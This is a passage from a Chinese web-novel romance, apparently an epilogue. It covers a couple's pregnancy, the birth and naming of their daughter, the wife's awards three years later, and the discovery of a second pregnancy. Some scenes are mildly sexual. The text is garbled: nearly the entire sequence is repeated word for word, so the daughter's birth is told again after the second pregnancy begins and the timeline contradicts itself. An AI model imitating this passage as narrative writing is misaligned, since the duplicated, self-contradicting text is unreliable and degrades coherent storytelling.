有上次流产的经历,姜时愿其实很小心。都不用韩野提醒,不该吃的东西她坚决不会碰。 现在身体笨重了,为了安全起见就主动推掉了所有工作,安心养胎。 姜时愿也怕外界会猜忌青森和蓝鲸两个主办人是不是散伙了,所以发了一条公告,表明自己只是退居幕后,并没有和陆临有什么不合,更没有解约。 陆临和韩氏集团先后转发了这条微博。 姜时愿这次怀孕没什么不舒服,孕反也很轻微。但是受孕激素的影响,她的脾气变得有些大。 韩野事无巨细,面面俱到,姜时愿挑不出毛病,就开始跟他翻旧账。 “你以前为什么要叫我滚?” “我给你送药你为什么不要?” 姜时愿伸出食指戳他的胸口,脸上带着一层薄怒:“你这么凶,你不爱我。” 真是好大一口黑锅。 韩野闷笑了一声,握住她的手亲了一下,抬起她的下巴吻上去。 他捏住她的手腕往某个地方带过去,声音低哑:“感觉到了吗?我爱不爱你?嗯?” “我的日记你看过。阿愿,我最爱你。” “身体爱,心也爱。” 他在日记上骂过好多次自己是畜生,在梦里他都想欺负她。醒过来的时候脑子也不受控制的描摹出她的脸,然后自渎。 姜时愿的脸又红又热,骂他:“闷骚老男人,你不要脸。” 虽然是在骂,但是她的声调很软,更像在撒娇。 声音好好听,她好可爱。 韩野又去亲她,“要脸没老婆。” 他连皮都不想要还要什么脸?有老婆就行。 十月国庆,姜时愿顺利生产。 老婆生孩子丈夫哭很正常,但是韩野哭的比姜时愿还厉害,最后的画风就变成了她红着眼睛去安慰不停掉眼泪的韩野。 谢鹤枭嘲笑了他一个晚上。 韩野缓过劲来以后云淡风轻的说了一句:“不像某些人,儿子出生的时候还在和家里介绍的联姻对象吃饭,当然不会哭。” 谢鹤枭:“……” 喂奶、换尿不湿、哄睡都是韩野亲力亲为,韩家三夫人亲自教学,韩野这个新手奶爸非常合格。 韩昕愿这个名字是韩野起的,意为:韩野心悦姜时愿。 小名是姜时愿想的,叫年年。 三年后。 姜时愿斩获了钢琴杯大赛的金杯奖,青森和蓝鲸也在冰岛成立了第一家分院。 这三年青森和蓝鲸在国内遍地生花,冰岛的分院是国外的第一家,也是他们踏出国门的第一步。 姜时愿曾经说过,想要政圈、商圈、娱乐圈的大佬前辈给她颁奖。想要她的形象出现在樱洲最醒目的电子屏幕上,她想要做最尊贵的女人。 在二十六岁这一年,她实现了这个目标。 他和陆临拿到了慈善奖的最高荣誉奖项,颁奖礼上的确见到了很多大佬,还有了合照。 颁奖典礼结束,姜时愿乘坐私人飞机从北城飞回了港城。 刚走下舷梯一个奶团子就奔过来抱上了她的大腿。 “妈妈!” 三岁的韩昕愿长得格外漂亮,跟韩野有七分像,尤其是那双眼睛,就是一个模子里刻出来的。 她仰着脸看着姜时愿,眼睛亮晶晶的。 姜时愿的心尖止不住的发软,蹲下身亲了亲她的脸,“好想年年~” 还记得韩昕愿半岁的时候宿繁星还在说,“长得像她爸也就算了,性格可千万别像。冷冰冰的多不好?” 后来才知道这个担心是多余的。 韩昕愿非常活泼好动,叽叽喳喳的像只麻雀,感觉她一个人跟一盆花待在一起都能聊起天来。 很招人喜欢。 时樾精准点评:跟姜时愿小时候一模一样。 韩野看着妻子和女儿,唇角扬了扬。他走过来,怀里还抱着一束明黄色的玫瑰花,非常亮眼吸睛。 姜时愿看到站了起来。 韩野把花递给她:“韩太太,欢迎回家。” 晚上他们去了韩家老宅吃饭。 回家的时候韩昕愿不肯走了,非要留在老宅。 韩昕愿很黏妈妈,如果姜时愿不提前说要她留在老宅陪韩老爷子的话她是绝对不会主动要留在这里的。 姜时愿虽然觉得奇怪,但也没说什么。小孩子嘛,想一出是一出的挺正常的。 最后就只有她和韩野回了家。 直到被韩野压在书房书桌上,姜时愿才知道韩昕愿今天为什么这么反常。 都是她爹干的好事。 姜时愿一抬头就能看到挂在最中间的那幅永生花,她的脸红的像扑了一层腮红。 之前是对着婚纱照,现在又是对着画框。韩野这都是什么癖好?! “说想女儿不说想我?” “想不想我?嗯?” 姜时愿招架不住,不敢嘴硬,“想的!想的!” 韩野亲了一下她泛红的眼尾,“乖宝宝。” 说着他把她抱到了沙发上,然后扣着她的肩膀翻了个面。 “喊我。”韩野咬了一下她的耳垂,低声哄她:“宝宝,好久没喊哥哥了。” 姜时愿的身上到处都是殷红的吻痕,她被他欺负的很惨。 腿都在打颤。 “哥哥……”姜时愿嗓子沙哑,带着哭腔喊了他一声。 书桌上的一支笔掉落在了地板上,发出沉闷的声响。 “老婆,给年年生个弟弟妹妹好吗?” 有人作伴的话她大概就不会这么粘妈妈了。 姜时愿本来就想生二胎,这样的话岁岁年年就都有了。 还是她和韩野的岁岁年年。 她说:“好。” 漆黑的夜一片静谧,而室内却是一片旖旎。 姜时愿这次怀孕的反应没有上次那么大,以为是身体太累了导致的就没有太在意,在春晚舞台上演出结束后在后台晕倒了。 这才检查出来已经怀孕一个多月了。 回家以后韩野和姜时愿因为工作的事情吵了一架。怀孕本就辛苦,韩野就想让她推掉手下的所有工作安心养胎。 但是姜时愿不乐意,说到最后还单方面玩起了冷战,不管韩野说什么她都不吭声。 最后是韩野妥协,同意她继续给学生上课。姜时愿也退了一步,课程减了一半。 一直到五个月的时候姜时愿才把工作全部推掉,各大活动上都只有陆临一个人,钢琴赛场上也不再有她的影子。 有上次流产的经历,姜时愿其实很小心。都不用韩野提醒,不该吃的东西她坚决不会碰。 现在身体笨重了,为了安全起见就主动推掉了所有工作,安心养胎。 姜时愿也怕外界会猜忌青森和蓝鲸两个主办人是不是散伙了,所以发了一条公告,表明自己只是退居幕后,并没有和陆临有什么不合,更没有解约。 陆临和韩氏集团先后转发了这条微博。 姜时愿这次怀孕没什么不舒服,孕反也很轻微。但是受孕激素的影响,她的脾气变得有些大。 韩野事无巨细,面面俱到,姜时愿挑不出毛病,就开始跟他翻旧账。 “你以前为什么要叫我滚?” “我给你送药你为什么不要?” 姜时愿伸出食指戳他的胸口,脸上带着一层薄怒:“你这么凶,你不爱我。” 真是好大一口黑锅。 韩野闷笑了一声,握住她的手亲了一下,抬起她的下巴吻上去。 他捏住她的手腕往某个地方带过去,声音低哑:“感觉到了吗?我爱不爱你?嗯?” “我的日记你看过。阿愿,我最爱你。” “身体爱,心也爱。” 他在日记上骂过好多次自己是畜生,在梦里他都想欺负她。醒过来的时候脑子也不受控制的描摹出她的脸,然后自渎。 姜时愿的脸又红又热,骂他:“闷骚老男人,你不要脸。” 虽然是在骂,但是她的声调很软,更像在撒娇。 声音好好听,她好可爱。 韩野又去亲她,“要脸没老婆。” 他连皮都不想要还要什么脸?有老婆就行。 十月国庆,姜时愿顺利生产。 老婆生孩子丈夫哭很正常,但是韩野哭的比姜时愿还厉害,最后的画风就变成了她红着眼睛去安慰不停掉眼泪的韩野。 谢鹤枭嘲笑了他一个晚上。 韩野缓过劲来以后云淡风轻的说了一句:“不像某些人,儿子出生的时候还在和家里介绍的联姻对象吃饭,当然不会哭。” 谢鹤枭:“……” 喂奶、换尿不湿、哄睡都是韩野亲力亲为,韩家三夫人亲自教学,韩野这个新手奶爸非常合格。 韩昕愿这个名字是韩野起的,意为:韩野心悦姜时愿。 小名是姜时愿想的,叫年年。 三年后。 姜时愿斩获了钢琴杯大赛的金杯奖,青森和蓝鲸也在冰岛成立了第一家分院。 这三年青森和蓝鲸在国内遍地生花,冰岛的分院是国外的第一家,也是他们踏出国门的第一步。 姜时愿曾经说过,想要政圈、商圈、娱乐圈的大佬前辈给她颁奖。想要她的形象出现在樱洲最醒目的电子屏幕上,她想要做最尊贵的女人。 在二十六岁这一年,她实现了这个目标。 他和陆临拿到了慈善奖的最高荣誉奖项,颁奖礼上的确见到了很多大佬,还有了合照。 颁奖典礼结束,姜时愿乘坐私人飞机从北城飞回了港城。 刚走下舷梯一个奶团子就奔过来抱上了她的大腿。 “妈妈!” 三岁的韩昕愿长得格外漂亮,跟韩野有七分像,尤其是那双眼睛,就是一个模子里刻出来的。 她仰着脸看着姜时愿,眼睛亮晶晶的。 姜时愿的心尖止不住的发软,蹲下身亲了亲她的脸,“好想年年~” 还记得韩昕愿半岁的时候宿繁星还在说,“长得像她爸也就算了,性格可千万别像。冷冰冰的多不好?” 后来才知道这个担心是多余的。 韩昕愿非常活泼好动,叽叽喳喳的像只麻雀,感觉她一个人跟一盆花待在一起都能聊起天来。 很招人喜欢。 时樾精准点评:跟姜时愿小时候一模一样。 韩野看着妻子和女儿,唇角扬了扬。他走过来,怀里还抱着一束明黄色的玫瑰花,非常亮眼吸睛。 姜时愿看到站了起来。 韩野把花递给她:“韩太太,欢迎回家。” 晚上他们去了韩家老宅吃饭。 回家的时候韩昕愿不肯走了,非要留在老宅。 韩昕愿很黏妈妈,如果姜时愿不提前说要她留在老宅陪韩老爷子的话她是绝对不会主动要留在这里的。 姜时愿虽然觉得奇怪,但也没说什么。小孩子嘛,想一出是一出的挺正常的。 最后就只有她和韩野回了家。 直到被韩野压在书房书桌上,姜时愿才知道韩昕愿今天为什么这么反常。 都是她爹干的好事。 姜时愿一抬头就能看到挂在最中间的那幅永生花,她的脸红的像扑了一层腮红。 之前是对着婚纱照,现在又是对着画框。韩野这都是什么癖好?! “说想女儿不说想我?” “想不想我?嗯?” 姜时愿招架不住,不敢嘴硬,“想的!想的!” 韩野亲了一下她泛红的眼尾,“乖宝宝。” 说着他把她抱到了沙发上,然后扣着她的肩膀翻了个面。 “喊我。”韩野咬了一下她的耳垂,低声哄她:“宝宝,好久没喊哥哥了。” 姜时愿的身上到处都是殷红的吻痕,她被他欺负的很惨。 腿都在打颤。 “哥哥……”姜时愿嗓子沙哑,带着哭腔喊了他一声。 书桌上的一支笔掉落在了地板上,发出沉闷的声响。 “老婆,给年年生个弟弟妹妹好吗?” 有人作伴的话她大概就不会这么粘妈妈了。 姜时愿本来就想生二胎,这样的话岁岁年年就都有了。 还是她和韩野的岁岁年年。 她说:“好。” 漆黑的夜一片静谧,而室内却是一片旖旎。